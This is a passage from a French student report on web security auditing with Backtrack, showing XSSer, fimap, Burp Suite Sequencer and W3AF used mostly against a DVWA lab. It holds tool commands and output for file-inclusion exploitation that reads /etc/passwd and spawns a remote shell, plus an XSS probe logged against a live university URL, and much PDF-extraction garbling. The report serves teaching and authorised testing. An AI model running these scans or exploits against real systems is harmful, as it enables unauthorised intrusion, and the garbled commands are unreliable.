−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[− ] Ha s h i n g : 52 c 7 2 3 64 18 4 74 97 6 e 8 e 0 49 5 d f e f b 9 5 2 0[+] T r y i n g : h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d=127/”>52c7236418474976e8e0495dfe fb9520[+] Browser Support : [ IE7 . 0 | IE6 . 0 |NS8.1−IE ] [NS8.1−G|FF2 . 0 ] [O9 . 0 2 ][+] Checking : u r l at tack with ”>PAYLOAD . . . f a i l

===========================================================================

Mosqu i t o ( s ) l a n d e d !

===========================================================================[ ∗ ] F i n a l R e s u l t s :===========================================================================

− I n j e c t i o n s : 2− F a i l e d : 2− S u c e s s f u l l : 0− Accu r : 0 %

===========================================================================

[ I ] Cou ld n o t f i n d any v u l n e r a b i l i t y ! . Try a n o t h e r c om b i n a t i o n o r hack i t −manua l l y− : )

===========================================================================

Nous avons fourni avec l’option -d le ≪dork≫, c’est-a-dire l’expression pour faire une recherche avancee dans l’adresseURL des sites (≪inanchor≫ est pour Bing, le moteur de recherche utilise par XSSer par defaut, l’equivalent de ≪in-url≫ pour Google) et l’outil fait les tests XSS sur chaque site qu’il trouve dans les resultats.

IDENTIFICATION DES VULNERABILITES page 29 sur 41

Page 33: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Inclusion de fichiers

Les failles de type LFI (Local File Include) et RFI (Remote File Include), sont des techniques permettant a un pirateinformatique d’acceder aux fichiers presents sur un serveur Web cible ou d’inclure des fichiers d’un serveur distant etainsi faire executer du code arbitraire sur un serveur Web cible. Cette faille survient par exemple dans du code PHP,utilisant les fonctions include ou require sans precautions.

Figure 6 – Attaque ”Local File Include”

fimap

fimap est un outil performant capable de rechercher les vulnerabilites de type inclusion de fichier (local et distant),en faisant un balayage sur une URL cible unique (”single mode”), sur une liste d’URLs donnee (”mass mode”), ou unbalayage automatique sur des URLs capturees par la technique du ≪Google dorking≫. Il peut egalement explorer unsite Web cible et en extraire la liste des URLs qu’il contient pour ensuite les scanner (en ”mass mode”).

Dans l’exemple suivant on’a lance l’outil fimap pour le balayage sur une URL http://192.168.0.14/vulnerabilities/

fi/?page= prise de DVWA, ce dernier dispose d’un repertoire ”/vulnerabilities/fi/” permettant de tester les failles detypes LFI et RFI. On lance le balayage sur cette l’URL (avec l’option -u), en sachant que la faille existe reellement.Il faut pas oublier de donner les cookies (avec l’option –cookie) necessaire a la connexion, parce-que DVWA demandeun login/mot de passe pour l’acces. On a note que l’option –cookie n’a ete ajoute a fimap que a partir de la version.09 qui est la derniere version.

IDENTIFICATION DES VULNERABILITES page 30 sur 41

Page 34: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t /web/ f imap#./ fimap . py −u ’ h t tp ://192.168.0 .14/ vu l n e r a b i l i t i e s / f i /?page=’ −−cookie=’PHPSESSID=3g01vtv4gh971nupbag34jnr81 ; se cur i t y=low ’

f imap v . 0 9 ( Fo r t h e Swarm ): : Au toma t i c LF I /RFI s c a n n e r and e x p l o i t e r: : by Iman Kar im ( f imap . d ev@gma i l . com )

S i n g l e S c a n i s t e s t i n g URL : ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page=’[ 1 1 : 3 6 : 3 2 ] [OUT ] I n s p e c t i n g URL ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page = ’ . . .[ 1 1 : 3 6 : 3 2 ] [ INFO ] F i d d l i n g a r o und w i t h URL . . .[ 1 1 : 3 6 : 3 2 ] [OUT ] [PHP ] P o s s i b l e f i l e i n c l u s i o n f o und ! −> ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page=

TSoY7ED1 ’ w i t h Pa r ame t e r ’ page ’ .[ 1 1 : 3 6 : 3 2 ] [OUT ] [PHP ] I d e n t i f y i n g V u l n e r a b i l i t y ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page=’ w i t h

Pa r ame t e r ’ page ’ . . .[ 1 1 : 3 6 : 3 2 ] [ INFO ] S c r i p t p a t h r e c e i v e d : ’/ op t / l ampp/ h t d o c s / v u l n e r a b i l i t i e s / f i ’[ 1 1 : 3 6 : 3 2 ] [ INFO ] Op e r a t i n g Sys tem i s ’ Unix−L i k e ’ .[ 1 1 : 3 6 : 3 2 ] [ INFO ] T e s t i n g f i l e ’/ e t c / passwd ’ . . .

[ . . . ]

###################################################################[1 ] Poss i b l e PHP−Fi l e Inc lus ion ####################################################################: :REQUEST ## [URL] h t tp ://192.168.0 .14/ v u l n e r a b i l i t i e s / f i /?page= ## [HEAD SENT] Cookie ##: :VULN INFO ## [GET PARAM] page ## [PATH] /opt /lampp/htdocs/ v u l n e r a b i l i t i e s / f i ## [OS] Unix ## [TYPE] Absolute Clean + Remote in je c t ion ## [TRUNCATION] No Need . It ’ s c lean . ## [READABLE FILES ] ## [ 0 ] / e tc /passwd ## [1 ] php :// input ## [ 2 ] h t tp ://www. phpbb . de/ index . php ###################################################################

fimap a trouve des failles de type LFI/RFI en incluant par exemple le chemin ”/etc/passwd” a l’URL. Enfin fimapdonne la possibilite d’exploiter les failles detectees en executant un script shell distant sur le serveur cible, avec l’option-x. Ainsi comme c’est montre ci-dessous on a pu acceder au serveur de DVWA et executer des commandes systemescomme lister le contenu du repertoire ”/opt/lampp/htdocs/vulnerabilities/fi”.

IDENTIFICATION DES VULNERABILITES page 31 sur 41

Page 35: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : ˜ / Desk top / f i m a p a l p h a v 0 9# ./ fimap . py −xf imap v . 0 9 ( Fo r t h e Swarm ): : Au toma t i c LF I /RFI s c a n n e r and e x p l o i t e r: : by Iman Kar im ( f imap . d ev@gma i l . com )

####################################################: : L i s t o f Domains : : #####################################################[1 ] 192.168.0.14 ##[ ] And 0 hosts with no v a l i d at tack vec tors . ##[ q ] Quit ####################################################WARNING : Some doma in s may be no t l i s t e d h e r e b e c a u s e d y n a m i c r f i i s n o t c o n f i g u r e d !Choos e Domain : / e t c / pa s swdI n v a l i d Domain ID .Choos e Domain : 1 92 . 168 . 0 . 14I n v a l i d Domain ID .Choos e Domain : 1##################################################################################################: : FI Bugs on ’192.168.0 .14 ’ : : ###################################################################################################[1 ] URL: ’/ v u l n e r a b i l i t i e s / f i /?page=’ in j e c t i n g f i l e : ’ php :// input ’ using GET−param : ’ page ’ ##[ q ] Quit ##################################################################################################WARNING : Some bugs a r e s u p p r e s s e d b e c a u s e d y n a m i c r f i i s n o t c o n f i g u r e d !Choos e v u l n e r a b l e s c r i p t : 1[ 1 1 : 5 7 : 0 9 ] [ INFO ] T e s t i n g PHP−code i n j e c t i o n t h r u POST . . .[ 1 1 : 5 7 : 0 9 ] [OUT ] PHP I n j e c t i o n wo rks ! T e s t i n g i f e x e c u t i o n wo rks . . .[ 1 1 : 5 7 : 0 9 ] [ INFO ] T e s t i n g e x e c u t i o n t h r u ’ popen [ b64 ] ’ . . .[ 1 1 : 5 7 : 0 9 ] [OUT ] E x e c u t i o n t h r u ’ popen [ b64 ] ’ works !#####################################################: : Avai lab le Attacks − PHP and SHELL access : : ######################################################[1 ] Spawn fimap s h e l l ##[ 2 ] Spawn pentestmonkey ’ s reverse s h e l l ##[ q ] Quit #####################################################Choos e A t t a ck : 1P l e a s e wait − S e t t i n g up s h e l l ( one r e q u e s t ) . . .−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−Welcome to f imap s h e l l !B e t t e r don ’ t s t a r t i n t e r a c t i v e commands ! ; )A l s o remember t h a t t h i s i s n o t a p e r s i s t e n t s h e l l .Eve r y command op en s a new s h e l l and q u i t s i t a f t e r t h a t !En t e r ’q ’ t o exit t h e s h e l l .−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−f i s h e l l @ n o b o d y : / op t / l ampp/ h t d o c s / v u l n e r a b i l i t i e s / f i \$> l sh e l pi n c l u d e . phpi n d e x . phpsource

f i s h e l l @ n o b o d y : / op t / l ampp/ h t d o c s / v u l n e r a b i l i t i e s / f i \$>

IDENTIFICATION DES VULNERABILITES page 32 sur 41

Page 36: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Analyse des cookies de sessions

Un cookie est un fichier texte, cree par le serveur qui a besoin de memoriser certains parametres d’un utilisateur. Enrajoutant l’en-tete Set-cookie dans sa reponse, le serveur indique au navigateur qu’il souhaite y stocker un cookie. Lenavigateur (s’il le permet) cree le cookie demande et le stocke dans une zone memoire sure, pour ensuite le joindre al’en-tete HTTP de toutes ses requetes vers le meme domaine tant que la session est active sur le serveur.

Un cookie est cependant limite en taille, 4Ko maximum, il sert generalement a stocker les ID de sessions des utilisateursafin de les authentifier.

Tout systeme de session robuste doit etre pourvu d’un generateur de sessions efficace. Si le generateur de sessions delivredes jetons (ID) predictibles, un attaquant n’aura meme pas besoin de voler les variables de session d’un utilisateur,il lui suffira simplement de faire un brute force sur les cookies de sessions pour detourner aisement la session d’unutilisateur. Il est donc important que les jetons de session (session-ID) soient uniques pour chaque utilisateur et nonpredictibles.

Burp Suite - Sequencer

Burp Suite Sequencer est un puissant module permettant de tester la fiabilite d’elements generes aleatoirement (cookiesstockant les ID de sessions generalement). C’est parce que les jetons de sessions sont utilises pour authentifier unutilisateur, et donc ne devraient pas etre compromis. Il est important pour une application Web de generer des jetonsde session de facon aleatoire.

Pour tester ce parametre il faudrait envoyer une requete contenant un cookie de session deja capture par le proxyBurp au sequenceur Burp, qui ensuite a son tour emet cette requete au serveur a plusieurs reprises, obtenant ainsi ungrand nombre de cookies contenants des ID de sessions, sur lesquels il appliquera divers tests statistiques parametrespour determiner s’ils sont bien generes de maniere aleatoire.

L’outil propose deux modes :

– Le mode live capture permet une analyse pendant la navigation.– Le mode manual load permet une analyse a posteriori d’informations deja capturees par Burp Suite.

Burp Suite Sequencer effectue les tests suivants :

– Les tests sur les caracteres : deux analyses sont effectuees l’une sur la distribution des caracteres a chaqueposition et l’autre sur la probabilite qu’un caractere soit suivi par un autre entre deux jetons, a chaque position.

– Les tests sur les bits : ou chaque caractere est transcrit sous forme de bit, et les tests s’effectuent sur chaque bitdes jetons captures. Plusieurs tests sont effectues.

Pour plus de details sur les tests statistiques existants dans Burp Suite, se referer a la documentation officielle http://portswigger.net/burp/help/sequencer.html ou le site http://www.aldeid.com/wiki/BurpSuite:Sequencer.

Burp Suite Sequencer effectue ces tests statistiques sur une hypothese supposee vraie: qui est que les jetons de sessionssont generes de maniere aleatoire. Chaque test calcule la probabilites de certaines caracteristiques specifiques, quidoivent apparaitre dans les jetons de sessions s’ils ont ete genere de maniere aleatoire. Si cette probabilite est inferieurea un certain niveau (”significance level”), alors l’hypothese est rejetee et les jetons sont consideres comme non generesaleatoirement.

On lance le Burp Suite Sequencer sur l’application DVWA comme suit :

1 - On capture une requete contenant un cookie de session (en utilisant le proxy) et on l’envoie au sequenceur.

2 - Dans le sequenceur on specifie l’emplacement du cookie de session dans l’entete de la requete HTTP, et on lancela capture.

IDENTIFICATION DES VULNERABILITES page 33 sur 41

Page 37: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Figure 7 – Lancement de la capture des cookies de session avec le Burp Suite Sequencer

Pour notre exemple on’a pris 2287 jetons, en general il est conseille de prendre le plus grand echantillon possible (aumoins 2000 jetons) pour avoir un test fiable et reduire le taux des faux positifs/negatifs. Le rapport d’analyse produitdes graphique par onglets : le premier rapport est un resume (summary) de l’analyse. Comme le montre la figuresuivante, Burp Suite Sequencer note de maniere globale le degre de fiabilite des jetons captures (excellent, good, poor,extremely poor, etc.).

Figure 8 – Vue globale des resultats des tests effectues avec Burp suite Sequencer

Ci-dessous un exemple montrant le test effectue par le sequenceur sur ”les transitions de caracteres” ou il a analyse laprobabilite qu’un caractere soit suivi par un autre entre deux jetons, a chaque position des jetons captures. Le graphequi montre les caracteres qui ont passe le test avec succes pour chaque ”significance level” (0.0001%, 0.001%, etc.).On remarque sur la Figure 10 qu’en effectuant ce test il a detecte 7 anomalies, par exemple on lit sur la premiere lignedu resultat que dans le bit a la position 3, une transition du caractere ”r” a ”m” apparait assez souvent.

IDENTIFICATION DES VULNERABILITES page 34 sur 41

Page 38: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Figure 9 – Graphe de resultat du test ”Character transition analysis” avec Burp suite Sequencer

Figure 10 – Resultat du test ”Character transition analysis” avec Burp suite Sequencer

IDENTIFICATION DES VULNERABILITES page 35 sur 41

Page 39: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Scanneur de vulnerabilites des applications Web

Les scanneurs de vulnerabilites des applications Web sont des outils pratiques qui permettent a un testeur de securited’executer vite un ensemble de tests sur une application Web pour verifier l’existence de failles de securite les plusimportantes.

De maniere globale un scanneur de vulnerabilites d’applications Web procede en plusieurs etapes :

1. Il crawle le site, dans le but de decouvrir son arborescence (pages/fichiers). Pour cela il s’appuie sur des fichiersinternes (par exemple ”robots.txt”, ”sitemap.xml”), explore les balises HTML et suit les liens hypertexte. Parla suite, le scanneur va essayer egalement de decouvrir des fichiers et repertoires non mentionnes ou non pointespar un lien en testant au hasard des noms generiques tels que ”admin”, ”test”, etc.

2. Une fois la structure etablie, le scanneur va lancer ses tests sur les differentes variables pour tenter de trouverdes vulnerabilites comme XSS, SQL injection, XSRF, etc.

3. Enfin il peut essayer d’exploiter ces failles trouvees.

Il existe une multitude de scanneurs de vulnerabilites d’applications Web sur le marches certains payants et d’autresgratuits et open source. Sous Backtrack il y a beaucoup de choix, dont on peut mentionner W3AF, Nikto, WebSecurifycomme gratuits et Burp Suite dans lequel il faut payer pour utiliser la section de scanneur de vulnerabilite (les autresfonctionnalites sont gratuites). Mais en general, les scanneurs de vulnerabilites sont assez proches en terme de resultatset donnent toujours un pourcentage, parfois eleve, de faux positifs, il y’a aussi des techniques basiques pour les faireplanter.

W3AF - Web Application Attack and Audit Framework

C’est un framework open source d’audit d’applications Web, qu’on peut utiliser pour decouvrir des vulnerabilites etles exploiter. Il est concu en plugins relies (environ 130) ce qui le rend evolutif ; il est present sous Backtrack en versionconsole (en ligne de commande) et une version graphique plus conviviale.

Techniquement les plugins W3AF sont classes en huit categories qui se partagent les informations recoltes sur unecible precise :

– Ainsi les plugins (pris du guide technique [Ria08] repris en francais par [Bou12]) : discovery dont l’objectif est dedecouvrir un maximum de pages susceptibles de constituer des points d’entree (leurs URL, formulaires, etc.)

– Les plugins d’audit qui se basent sur ces resultats envoyes afin de detecter des vulnerabilites (injection SQL, XSS,buffer overflows, etc.) dans les pages renvoyees. Les vulnerabilites ainsi decouvertes sont ajoutees a une base deconnaissance.

– Ces plugins principaux utilisent les autres plugins comme brute force permettant la recherche d’identifiants parforce brute, greps qui permettent une reconnaissance par mots cles (grep) dans le code des pages renvoyees, afind’isoler les commentaires, les champs de mots de passe, les adresses IP, etc. evasion qui modifient les requetes pourassurer la furtivite (evasion firewall, IDS, etc.), output qui assurent la partie reporting, mangle qui modifient lesrequetes et reponses en se basant sur les expressions regulieres et enfin attaque qui permettent donc d’exploiter cesvulnerabilites.

Nous abordons un exemple (inspire du tutoriel : http://resources.infosecinstitute.com/w3af-tutorial-2/),qui illustre la facon dont le plugin discovery et audit partagent entre eux des informations. Notamment des URLtrouves par le plugin discovery qui pourront servir de points d’injection pour le plugin audit.

Les deux des plugins de decouverte les plus utiles sont webSpider qui a partir d’une URL en entree extrait tous lesliens et les formulaires de la cible (points d’injection possibles). L’autre plugin nomme spiderMan est egalement unplugin tres utile pour les sites qui utilisent Flash ou Javascript.

Fondamentalement, il est difficile pour les web crawlers de chercher des renseignements si un site utilise du Javascriptetc. parce qu’il n’est pas en mesure de comprendre ce que le code Javascript est cense faire. La plupart des webcrawlers cherchent donc de l’information statique comme des liens, des formulaires, etc. par exemple quand le pluginwebSpider atteint un formulaire de connexion il entrera automatiquement des informations d’identification si le pluginauth est active (et toutes ces options sont remplis correctement) et poursuit son processus d’exploration. Dans les casou l’application Web utilise du Javascript ou du Flash, le plugin spiderMan doit etre utilise. Ce plugin demarre unproxy, et l’utilisateur doit naviguer a travers ce proxy et sur la base des resultats de cette navigation, le plugin est tente

IDENTIFICATION DES VULNERABILITES page 36 sur 41

Page 40: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

d’identifier des points d’injection possibles et envoie le resultat aux plugins d’audit pour determiner si ce sont des pointsdangereux ou pas. Une autre caracteristique importante du plugin spiderMan est la possibilite d’enregistrer les cookies,de les reutiliser et de les envoyer aux autres plugins qui peuvent donc les exploiter pour leurs explorations.

W3AF propose des profils predefinis avec des outils conseilles, mais l’utilisateur peut choisir un ensemble d’outilsdont il a besoin pour faire ses tests. On a essayer de tester un scan sur l’application Damn Vulnerable Web App enutilisant le profil ”OWASP TOP10”, tout en ajoutant le web crawler/proxy : spiderMan, pour avoir les resultats lesplus complets possibles. On doit configurer notre navigateur qui est Mozilla Firefox pour utiliser le proxy spiderMan

pour la navigation, puis on se connecte a l’application DVWA comme decrit dans la section ??. On constate que leplugin spiderMan surveille et enregistre ces evenements.

Figure 11 – Le plugin spiderMan

Ensuite on explore la section ”resultats” ou on a l’arborescence de l’application decouverte par les web crawlers.

IDENTIFICATION DES VULNERABILITES page 37 sur 41

Page 41: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Figure 12 – Resultats des URL trouvees par spiderman et webspider

Maintenant, les plugins d’audit exploitent les points d’injection decouverts par les plugins de decouverte et envoientdes donnees construites specifiquement a tous ces derniers afin de trouver des vulnerabilites. Par exemple les pluginsd’audit pour les vulnerabilites d’injection SQL et XSS. L’audit consiste donc a eliminer toutes les URL suffisammentprotegees afin d’en faire ressortir que les vulnerables.

Figure 13 – Failles XSRF trouvees par le plugin d’audit de W3AF

IDENTIFICATION DES VULNERABILITES page 38 sur 41

Page 42: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Liste des figures

1 Scan DNS sous Maltego . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 Interception de cookies avec le proxy Burp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 203 SQL injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224 XSS non permanent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265 XSS permanent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 276 Attaque ”Local File Include” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307 Lancement de la capture des cookies de session avec le Burp Suite Sequencer . . . . . . . . . . . . . . 348 Vue globale des resultats des tests effectues avec Burp suite Sequencer . . . . . . . . . . . . . . . . . . 349 Graphe de resultat du test ”Character transition analysis” avec Burp suite Sequencer . . . . . . . . . 3510 Resultat du test ”Character transition analysis” avec Burp suite Sequencer . . . . . . . . . . . . . . . 3511 Le plugin spiderMan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3712 Resultats des URL trouvees par spiderman et webspider . . . . . . . . . . . . . . . . . . . . . . . . . . 3813 Failles XSRF trouvees par le plugin d’audit de W3AF . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

LISTE DES FIGURES page 39 sur 41

Page 43: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

References bibliographiques

[ALL08] Cristophe ALLADOUM: Google Hacking, 2008. URL : www.hsc.fr/ressources/articles/hakin9_

googlehacking/CA-Hakin9-06-2008-googlehacking.pdf.

[AY09] Farkhod Alisherov A et Feruza Sattarova Y: Methodology for Penetration Testing. International Journal ofGrid and Distributed Computing, 2(2), juin 2009. URL : http://sersc.org/journals/IJGDC/vol2_no2/5.pdf.

[Bou12] Slimane Bouhadi: Tutoriel d’utilisation de l’outil W3Af. rapport technique, UNIVERSITE PARIS DES-CARTES, 2012. URL : http://belkhir.nacim.free.fr/Rapports_20111-2012/Slimane_BOUHADI/WA3F/PRESENTATION%20W3AF.pdf.

[Lyo08] Gordon ”Fyodor” Lyon: Nmap Network Scanning. 2008. URL : http://nmap.org/book/.

[Ria08] Andres Riancho: w3af User Guide, Dec 2008. URL : http://w3af.svn.sourceforge.net/viewvc/w3af/trunk/readme/EN/w3af-users-guide.pdf.

REFERENCES BIBLIOGRAPHIQUES page 40 sur 41

Page 44: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei